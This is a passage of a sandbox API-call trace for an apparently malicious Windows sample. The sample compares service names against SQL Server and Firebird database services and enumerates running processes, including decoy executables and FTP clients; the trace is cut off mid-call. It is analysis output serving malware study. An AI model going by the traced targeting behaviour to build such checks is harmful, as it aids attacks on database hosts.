lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0160.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0160.002] lstrlenW (lpString="ShellHWDetection") returned 16 [0160.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0160.002] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0160.002] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0160.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0160.002] lstrlenW (lpString="sppsvc") returned 6 [0160.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0160.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0160.002] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0160.002] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0160.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0160.002] lstrlenW (lpString="SSDPSRV") returned 7 [0160.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0160.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0160.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0160.002] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0160.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0160.002] lstrlenW (lpString="StateRepository") returned 15 [0160.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0160.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0160.002] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0160.002] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0160.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0160.002] lstrlenW (lpString="SysMain") returned 7 [0160.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0160.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0160.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0160.002] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0160.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0160.002] lstrlenW (lpString="SystemEventsBroker") returned 18 [0160.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0160.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0160.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0160.002] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0160.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0160.003] lstrlenW (lpString="Themes") returned 6 [0160.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0160.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0160.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0160.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0160.003] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x364 [0160.007] Process32FirstW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0160.008] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0160.008] lstrlenW (lpString="System") returned 6 [0160.008] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0160.009] lstrlenW (lpString="smss.exe") returned 8 [0160.009] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0160.009] lstrlenW (lpString="csrss.exe") returned 9 [0160.009] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0160.010] lstrlenW (lpString="wininit.exe") returned 11 [0160.010] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0160.010] lstrlenW (lpString="csrss.exe") returned 9 [0160.010] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0160.011] lstrlenW (lpString="winlogon.exe") returned 12 [0160.011] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0160.011] lstrlenW (lpString="services.exe") returned 12 [0160.011] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0160.012] lstrlenW (lpString="lsass.exe") returned 9 [0160.012] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.012] lstrlenW (lpString="svchost.exe") returned 11 [0160.012] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0160.012] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0160.013] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0160.013] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0160.013] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.013] lstrlenW (lpString="svchost.exe") returned 11 [0160.013] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0160.014] lstrlenW (lpString="dwm.exe") returned 7 [0160.014] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.014] lstrlenW (lpString="svchost.exe") returned 11 [0160.014] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.015] lstrlenW (lpString="svchost.exe") returned 11 [0160.015] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.015] lstrlenW (lpString="svchost.exe") returned 11 [0160.015] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.016] lstrlenW (lpString="svchost.exe") returned 11 [0160.016] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.016] lstrlenW (lpString="svchost.exe") returned 11 [0160.016] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.017] lstrlenW (lpString="svchost.exe") returned 11 [0160.017] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.017] lstrlenW (lpString="svchost.exe") returned 11 [0160.017] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.017] lstrlenW (lpString="svchost.exe") returned 11 [0160.017] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.018] lstrlenW (lpString="svchost.exe") returned 11 [0160.018] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.018] lstrlenW (lpString="svchost.exe") returned 11 [0160.018] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.337] lstrlenW (lpString="svchost.exe") returned 11 [0160.337] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0160.338] lstrlenW (lpString="audiodg.exe") returned 11 [0160.338] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0160.338] lstrlenW (lpString="sihost.exe") returned 10 [0160.338] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0160.339] lstrlenW (lpString="svchost.exe") returned 11 [0160.339] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0160.339] lstrlenW (lpString="taskhostw.exe") returned 13 [0160.339] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x784, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0160.340] lstrlenW (lpString="explorer.exe") returned 12 [0160.340] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0160.340] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0160.340] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0160.341] lstrlenW (lpString="Memory Compression") returned 18 [0160.341] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0160.341] lstrlenW (lpString="SearchUI.exe") returned 12 [0160.341] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0160.341] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0160.341] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0160.342] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0160.342] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0160.342] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0160.342] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablets_refugees.exe")) returned 1 [0160.343] lstrlenW (lpString="tablets_refugees.exe") returned 20 [0160.343] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="migration dying locations.exe")) returned 1 [0160.343] lstrlenW (lpString="migration dying locations.exe") returned 29 [0160.343] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="college-advance.exe")) returned 1 [0160.344] lstrlenW (lpString="college-advance.exe") returned 19 [0160.344] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel ra execution.exe")) returned 1 [0160.344] lstrlenW (lpString="nickel ra execution.exe") returned 23 [0160.344] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boompromoterestore.exe")) returned 1 [0160.345] lstrlenW (lpString="boompromoterestore.exe") returned 22 [0160.345] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="metallic.exe")) returned 1 [0160.345] lstrlenW (lpString="metallic.exe") returned 12 [0160.345] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjustedfavors.exe")) returned 1 [0160.345] lstrlenW (lpString="adjustedfavors.exe") returned 18 [0160.346] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="brown parade bases.exe")) returned 1 [0160.346] lstrlenW (lpString="brown parade bases.exe") returned 22 [0160.346] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="specified wales.exe")) returned 1 [0160.346] lstrlenW (lpString="specified wales.exe") returned 19 [0160.346] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="inspiration.exe")) returned 1 [0160.353] lstrlenW (lpString="inspiration.exe") returned 15 [0160.354] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="importance-slot-announcements.exe")) returned 1 [0160.354] lstrlenW (lpString="importance-slot-announcements.exe") returned 33 [0160.354] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred-arrest.exe")) returned 1 [0160.354] lstrlenW (lpString="hundred-arrest.exe") returned 18 [0160.354] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="classbuck.exe")) returned 1 [0160.355] lstrlenW (lpString="classbuck.exe") returned 13 [0160.355] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="x-deutschland.exe")) returned 1 [0160.355] lstrlenW (lpString="x-deutschland.exe") returned 17 [0160.355] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sacred-sword-plc.exe")) returned 1 [0160.356] lstrlenW (lpString="sacred-sword-plc.exe") returned 20 [0160.356] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="laptop_wiring_candy.exe")) returned 1 [0160.356] lstrlenW (lpString="laptop_wiring_candy.exe") returned 23 [0160.356] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawsuit.exe")) returned 1 [0160.357] lstrlenW (lpString="lawsuit.exe") returned 11 [0160.357] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0160.357] lstrlenW (lpString="3dftp.exe") returned 9 [0160.357] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0160.357] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0160.358] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0160.358] lstrlenW (lpString="alftp.exe") returned 9 [0160.358] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0160.358] lstrlenW (lpString="barca.exe") returned 9 [0160.358] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0160.359] lstrlenW (lpString="bitkinex.exe") returned 12 [0160.359] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0160.359] lstrlenW (lpString="coreftp.exe") returned 11 [0160.360] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0160.360] lstrlenW (lpString="far.exe") returned 7 [0160.360] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0160.361] lstrlenW (lpString="filezilla.exe") returned 13 [0160.361] Process32NextW (in: hSnapshot=0x364, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, 